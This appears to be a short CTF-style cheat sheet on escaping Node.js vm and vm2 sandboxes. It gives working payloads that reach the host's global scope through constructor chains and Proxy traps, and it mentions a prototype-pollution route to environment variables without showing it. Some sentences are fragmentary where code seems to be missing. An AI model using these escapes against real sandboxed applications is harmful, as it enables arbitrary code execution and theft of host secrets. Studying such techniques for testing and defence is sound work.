πŸŒ€Escaping nodejs vm

trick to escaping vm / vm2 in nodejs

Access global variable

// A global variable the sandbox isn't supposed to see:

flag = "N2L{this_the_global_flag}"; 

Using constructor

const code2 = `(this.constructor.constructor("return flag"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> N2L{this_the_global_flag}

Using new Proxy

new Proxy({}, {
  set: function(me, key, value) { (value.constructor.constructor('console.log(flag)'))() }
})
new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('console.log(flag)'))() }
})

Using throw an exception

Bypassing force return & proccess null

in this code we get force return, we can bypass it using

so it will , so example

so what the plans to get the env flag? we can using constructor and method Using new Proxy

but we can see that we get require restricted. so how to bypass it? we can use prototype pollution

it will prototype all the array. and we can bypass it

here are the full payload to read the env ( we cant use child_proccess because the node version )

Last updated